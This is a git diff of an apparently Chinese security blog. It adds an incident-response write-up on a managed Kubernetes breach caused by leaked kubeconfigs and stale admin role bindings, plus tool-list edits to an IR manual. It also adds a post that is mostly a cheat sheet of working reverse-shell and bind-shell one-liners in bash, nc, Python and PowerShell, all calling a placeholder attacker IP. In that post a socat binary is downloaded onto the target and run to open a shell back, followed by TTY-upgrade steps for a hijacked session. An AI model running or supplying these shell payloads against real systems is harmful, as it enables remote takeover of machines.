diff --git a/content/posts/ir-managed-k8s-cloud-account/1.webp b/content/posts/ir-managed-k8s-cloud-account/1.webp new file mode 100644 index 000000000..a499eb4de Binary files /dev/null and b/content/posts/ir-managed-k8s-cloud-account/1.webp differ diff --git a/content/posts/ir-managed-k8s-cloud-account/2.webp b/content/posts/ir-managed-k8s-cloud-account/2.webp new file mode 100644 index 000000000..0d7d63537 Binary files /dev/null and b/content/posts/ir-managed-k8s-cloud-account/2.webp differ diff --git a/content/posts/ir-managed-k8s-cloud-account/3.png b/content/posts/ir-managed-k8s-cloud-account/3.png new file mode 100644 index 000000000..18b078e45 Binary files /dev/null and b/content/posts/ir-managed-k8s-cloud-account/3.png differ diff --git a/content/posts/ir-managed-k8s-cloud-account/4.png b/content/posts/ir-managed-k8s-cloud-account/4.png new file mode 100644 index 000000000..e6b809807 Binary files /dev/null and b/content/posts/ir-managed-k8s-cloud-account/4.png differ diff --git a/content/posts/ir-managed-k8s-cloud-account/5.png b/content/posts/ir-managed-k8s-cloud-account/5.png new file mode 100644 index 000000000..e231c5bc3 Binary files /dev/null and b/content/posts/ir-managed-k8s-cloud-account/5.png differ diff --git a/content/posts/ir-managed-k8s-cloud-account/6.png b/content/posts/ir-managed-k8s-cloud-account/6.png new file mode 100644 index 000000000..03293b9af Binary files /dev/null and b/content/posts/ir-managed-k8s-cloud-account/6.png differ diff --git a/content/posts/ir-managed-k8s-cloud-account/7.webp b/content/posts/ir-managed-k8s-cloud-account/7.webp new file mode 100644 index 000000000..6c2bf5922 Binary files /dev/null and b/content/posts/ir-managed-k8s-cloud-account/7.webp differ diff --git a/content/posts/ir-managed-k8s-cloud-account/8.png b/content/posts/ir-managed-k8s-cloud-account/8.png new file mode 100644 index 000000000..deaa7b192 Binary files /dev/null and b/content/posts/ir-managed-k8s-cloud-account/8.png differ diff --git a/content/posts/ir-managed-k8s-cloud-account/feature.png b/content/posts/ir-managed-k8s-cloud-account/feature.png new file mode 100644 index 000000000..2b4c8fe50 Binary files /dev/null and b/content/posts/ir-managed-k8s-cloud-account/feature.png differ diff --git a/content/posts/ir-managed-k8s-cloud-account/index.md b/content/posts/ir-managed-k8s-cloud-account/index.md new file mode 100644 index 000000000..ba607801a --- /dev/null +++ b/content/posts/ir-managed-k8s-cloud-account/index.md @@ -0,0 +1,72 @@ +--- +title: "顾此失彼:一次溯源中遇到的托管 K8s 与云账号问题" +date: 2024-04-17 +tags: + - 应急响应 + - Kubernetes +categories: + - 云 +--- + +系统越复杂,需要关注的环节越多,也越容易出错。 + + + +## 背景 + +12:38 收到客户反馈,昨日晚间一个境外异常 IP 访问了部署在云上托管 K8s 服务中的业务进行异常调用,导致约 200 万美元损失。相关对接同事与客户 CTO、应急溯源同学联系并协调时间会议沟通。 + +17:00 双方会议沟通事件细节,溯源同学请求并指导客户开通临时 RAM 子账号(具备操作审计、SLS 日志只读权限)用于溯源。 + +17:20 溯源同学登录 RAM 子账号开始溯源分析。 + +17:42 溯源同学给出初步排查结论。 + +## 排查过程与结论 + +根据客户提供的可疑 IP 进行威胁情报查询,可以确定为恶意 IP: + +![](1.webp) + +![](2.webp) + +针对客户提供的时间段,检查操作审计记录,未发现对应时间段内来自对应 IP 的可疑操作,排除 RAM 子账号云凭证泄露的可能性。 + +随后检查 ACK 集群的审计日志,发现来自攻击 IP 的如下访问记录,可以确定该 IP 通过 `kubectl exec` 的方式进入了容器执行了恶意命令,被攻击的 Pod 为 `prod-dmp-api-[REDACTED]` 和 `prod-pms-[REDACTED]` 等,被攻击的容器为 `helm-dmp-api` 和 `helm-pms` 等: + +![](3.png) + +根据日志详情,具体攻击方式是通过 kubectl 直接访问了**暴露在公网的 APIServer**,访问时利用了 `[REDACTED]5116` 这个用户(绑定了集群管理员权限): + +![](4.png) + +与客户确认后,确定了该用户对应的具体员工身份,判断为在职员工 kubeconfig 凭证泄露导致。针对该集群的首次攻击记录如下,可以发现该账号绑定了 ClusterRole `cs:admin` 即集群管理员权限: + +![](5.png) + +进一步调查发现,在客户的其他几个集群中同样存在类似的攻击行为,涉及两个用户:`[REDACTED]8490`、`[REDACTED]1407`。与客户确认后,确定了这两个用户对应的具体员工身份。但客户反馈这两个员工均已离职,离职时删除了对应的 RAM 账号,这一结论也得到了 RAM 团队的证实。既然如此,攻击者为什么还能利用这两个 RAM 账号进行恶意命令执行呢? + +经排查,发现这两个 RAM 账号对应的 ClusterRoleBinding 并没有删除,因此仍然绑定了 `cs:admin` 的角色,因此依然具备集群管理员权限: + +![](6.png) + +原来在删除 RAM 账号时,并不会连带删除其在托管 K8s 集群中的 ClusterRoleBinding。也就是说,一旦在托管 K8s 集群中授予 RAM 用户 RBAC 权限,就必须通过 [吊销 Kubeconfig](https://help.aliyun.com/zh/ack/ack-managed-and-ack-dedicated/user-guide/revoke-a-kubeconfig-credential#9a2308406cdjl) 或手动删除 ClusterRoleBinding 的方法才能取消授权。 + +> 参考:[https://help.aliyun.com/zh/ack/ack-managed-and-ack-dedicated/user-guide/faq-about-authorization-management?spm=a2c4g.11186623.0.0.2d2b4a44ktnaJt#section-txv-4vm-fnp](https://help.aliyun.com/zh/ack/ack-managed-and-ack-dedicated/user-guide/faq-about-authorization-management?spm=a2c4g.11186623.0.0.2d2b4a44ktnaJt#section-txv-4vm-fnp) + +![](7.webp) + +这样设计的主要目的是为了避免集群中调用对应 ClusterRole 的服务受影响而中断。同时,删除 RAM 账号时也无法针对集群层面是否有对应的 ClusterRoleBinding 进行探测。 + +## 攻击链路梳理 + +最后,在这次事件中,对攻击者的攻击链路也进行了简单梳理: + +![](8.png) + +1. 客户员工 8490、1407 生成能访问 UAT 环境的 kubeconfig #1 并保存在本地 +2. 员工 8490、1407 离职,客户删除两名离职员工的 RAM 账号 +3. 攻击者窃取员工 8490、1407 本地的 kubeconfig #1 登录到 UAT 环境 +4. 攻击者在 UAT 环境发现在职员工 5116 的 kubeconfig #2 ,该 kubeconfig 可以访问生产环境 +5. 攻击者利用 kubeconfig #2 登录生产环境 +6. 攻击者利用业务容器执行恶意命令,进行转账操作 diff --git a/content/posts/ir-manual/index.md b/content/posts/ir-manual/index.md index 00a3124cc..43e88ccd4 100644 --- a/content/posts/ir-manual/index.md +++ b/content/posts/ir-manual/index.md @@ -422,6 +422,7 @@ Tips: - 简化输出结果技巧:`grep -v "not"` - [rkhunter](https://rkhunter.sourceforge.net):扫描 rootkit,但运行较慢且需要手动确认继续排查流程 - [upx](https://upx.github.io):解压脱壳二进制文件,注意包管理器安装的版本较老 + - [busybox](https://busybox.net/downloads/binaries/):系统命令程序被篡改时,可以通过 busybox 运行系统命令,或从 busybox 下载单独的程序文件 - [河马 Webshell](https://www.shellpub.com/):支持 Linux/Windows/在线查杀 Webshell,注意误报率较高 - [Everything](https://www.voidtools.com/zh-cn/):Windows 下文件搜索 - [D 盾](http://www.d99net.net):Windows 下 Web 目录 Webshell 排查 @@ -430,9 +431,20 @@ Tips: - [htop](https://htop.dev/):更好用一点的 top - [unhide](http://www.unhide-forensics.info/):显示隐藏进程,需要 `epel-release` 依赖(有时需要 `yum reinstall -y epel-release`) - [ProcessExplorer](https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer):Windows 下显示详细进程信息 + - [Autoruns](https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns):Windows 下检查启动项、注册表等系统关键位置 - 流量分析 - [tcpdump](https://www.tcpdump.org) - [Wireshark](https://www.wireshark.org) +- 逆向分析 + - [IDA](https://hex-rays.com/ida-free/):反编译二进制文件 + - [jd-gui](http://java-decompiler.github.io):反编译 jar 包 + - [dex2jar](https://github.com/pxb1988/dex2jar):反编译 apk 包,配合 jd-gui 使用 +- 其他 + - 子域名爆破工具:subfinder, gobuster, etc. + - 漏洞扫描工具:团队内部漏扫器, xpoc, etc. + - 日志分析工具:LogParser, Hayabusa, Timesketch, etc. + - 暗链检测工具:Libra, Hawkeye, etc. + - 其他攻击模拟工具:各类 Webshell, fscan, cf, etc. - 威胁情报 - 通常尝试 2-3 个即可 - [VirusTotal](https://www.virustotal.com/gui/home/upload) @@ -447,11 +459,13 @@ Tips: - 威胁情报无结果时,Google 可能有奇效(如查询文件 MD5 等) - 编码解码:[CyberChef](https://gchq.github.io/CyberChef/) 足矣 - 勒索解密 - - 主要用于了解勒索病毒家族和攻击手段,解密希望不大 + - 仅供尝试使用,主要用于识别和了解勒索病毒家族和攻击手段,通常较难成功解密 - [安全卫士勒索病毒专题:文件恢复*安全卫士离线救灾版*文档卫士](https://lesuobingdu.360.cn) - [勒索病毒搜索](https://lesuobingdu.qianxin.com) - [勒索病毒拦截|文件恢复\_文档守护者保护文档安全 - 腾讯电脑管家](https://guanjia.qq.com/pr/ls/) - [腾讯哈勃分析系统](https://habo.qq.com/tool/index) - [VenusEye 勒索病毒搜索引擎](https://lesuo.venuseye.com.cn) + - [No Ransom: Free ransomware file decryption tools by Kaspersky](https://noransom.kaspersky.com) - [主页面 | The No More Ransom Project](https://www.nomoreransom.org/zh/index.html) - [GitHub - jiansiting/Decryption-Tools: Decryption-Tools](https://github.com/jiansiting/Decryption-Tools) + - [SecBooks/【工具文章】tools/勒索病毒识别、解密工具汇总(附部分工具下载地址).md at main · SexyBeast233/SecBooks](https://github.com/SexyBeast233/SecBooks/blob/main/%E3%80%90%E5%B7%A5%E5%85%B7%E6%96%87%E7%AB%A0%E3%80%91tools/%E5%8B%92%E7%B4%A2%E7%97%85%E6%AF%92%E8%AF%86%E5%88%AB%E3%80%81%E8%A7%A3%E5%AF%86%E5%B7%A5%E5%85%B7%E6%B1%87%E6%80%BB%EF%BC%88%E9%99%84%E9%83%A8%E5%88%86%E5%B7%A5%E5%85%B7%E4%B8%8B%E8%BD%BD%E5%9C%B0%E5%9D%80%EF%BC%89.md) diff --git a/content/posts/rev-shell-upgrade-tty/feature.jpeg b/content/posts/rev-shell-upgrade-tty/feature.jpeg new file mode 100644 index 000000000..260c79090 Binary files /dev/null and b/content/posts/rev-shell-upgrade-tty/feature.jpeg differ diff --git a/content/posts/rev-shell-upgrade-tty/index.md b/content/posts/rev-shell-upgrade-tty/index.md new file mode 100644 index 000000000..e1646d3d3 --- /dev/null +++ b/content/posts/rev-shell-upgrade-tty/index.md @@ -0,0 +1,162 @@ +--- +title: "掌控全局:反弹 Shell 升级为全交互式 TTY" +date: 2024-05-25 +tags: + - Linux +categories: + - Web 安全 +--- + +为了更好的攻击体验和效率。 + + + +## 常见的获取 shell 方式 + +更多方式请参考 https://www.revshells.com 。 + +### Reverse shell + +直接使用 bash: + +```bash +bash -i >& /dev/tcp/10.10.10.10/1234 0>&1 +``` + +在程序使用 `sh -c` 运行命令时可能不支持上面的部分 bash 语法,因此可以套一层 bash: + +```bash +bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1' +``` + +直接使用 nc: + +```bash +nc 10.10.10.10 1234 -e bash +``` + +nc 不支持 `-e` 时借助管道: + +```bash +rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f +``` + +使用 Python: + +```bash +export RHOST="10.10.10.10";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' +``` + +Windows 上使用 Powershell: + +```powershell +powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()" +``` + +### Bind shell + +使用 nc: + +```bash +rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lvp 1234 >/tmp/f +``` + +使用 Python 3: + +```bash +python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept(); +while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")' +``` + +Windows 上使用 Powershell: + +```powershell +powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(); +``` + +## Simple shell 的问题 + +通过上述方式获得的 Simple Shell 通常存在诸多问题,最大的问题就是按下 Ctrl+C 时不会像我们预期的那样停止 Shell 内运行的程序,而是停止了 Shell 本身。除此之外,其他问题包括: + +- 无法运行需要终端的程序,例如 `su` 和 `ssh` 等 +- 无法使用交互式程序,例如 `vim` 等 +- 无法使用 Tab 补全 +- 无法按上箭头回溯命令历史 +- 无法使用左右箭头移动光标 +- 无法使用终端快捷键,例如 Ctrl+L 清屏等 +- 通常不显示 STDERR + +## 升级为半交互式伪终端 + +### 使用 Python + +在主机上有 Python 的情况下(使用 `which python python2 python3` 检测,有一个就行),我们可以快速创建一个伪终端,使得需要终端的程序能够运行,如果只是需要用 `su` 等命令来提权的话这样会很方便: + +```bash +$ python -c 'import pty; pty.spawn("/bin/bash")' +``` + +注意视情况替换 `python` 为 `python2` 或 `python3` 等。但这样依然无法正常处理 Ctrl+C,也无法解决上述其他问题。 + +### 使用 script + +很多容器内是没有 Python 的,这时我们可以借助 Linux 自带的 `script` 程序来达到同样的效果: + +```bash +$ script -qc /bin/bash /dev/null +``` + +## 升级为全交互式 TTY + +### 使用 stty + +这个方法仅适用于 bash,使用其他 shell 时可以先切换到 bash 再设置 nc 监听。我们还是先使用上述两种方法之一创建伪终端,然后通过 Ctrl+Z 把 shell 挂起。在主机上继续运行: + +```bash +$ stty raw -echo;fg +``` + +此时升级为 TTY 的 shell 已经来到前台,在 shell 内运行 `reset` 即可获得全交互式的 shell。我们还可以对这个全交互式 shell 的样式进行一些调整,让它使用和我们终端相同的配色和大小: + +```bash +$ export SHELL=bash +$ export TERM=xterm-256color +$ stty rows columns +``` + +上面的 `rows` 和 `cols` 具体值可以通过在主机上运行 `stty size` 获取到。 + +### 使用 socat + +我们也可以使用 socat 直接生成一个全交互式 TTY,在 [这里](https://github.com/andrew-d/static-binaries) 可以下载到二进制文件。 + +首先在我们的主机上运行: + +```bash +$ socat file:`tty`,raw,echo=0 tcp-listen:1234 +``` + +随后在靶机上运行: + +```bash +$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:1234 +``` + +这个方法看似操作起来最简单,但需要在靶机上植入额外文件,还需要靶机能成功访问 GitHub 下载二进制文件,比较麻烦。然而,在 Windows 上升级终端的方式非常有限,常常不得不使用这种方式,此时使用的 [二进制文件](https://github.com/3ndG4me/socat) 以及命令都会有一些区别。 + +首先在我们的主机上运行: + +```bash +$ socat TCP4-LISTEN:1234,fork STDOUT +``` + +随后在靶机上运行: + +```cmd +socat.exe TCP4:10.10.10.10:1234 EXEC:'cmd.exe',pipes +``` + +## 参考资料 + +1. [Upgrading Simple Shells to Fully Interactive TTYs](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) +2. [Upgrade a linux reverse shell to a fully usable TTY shell](https://zweilosec.github.io/posts/upgrade-linux-shell)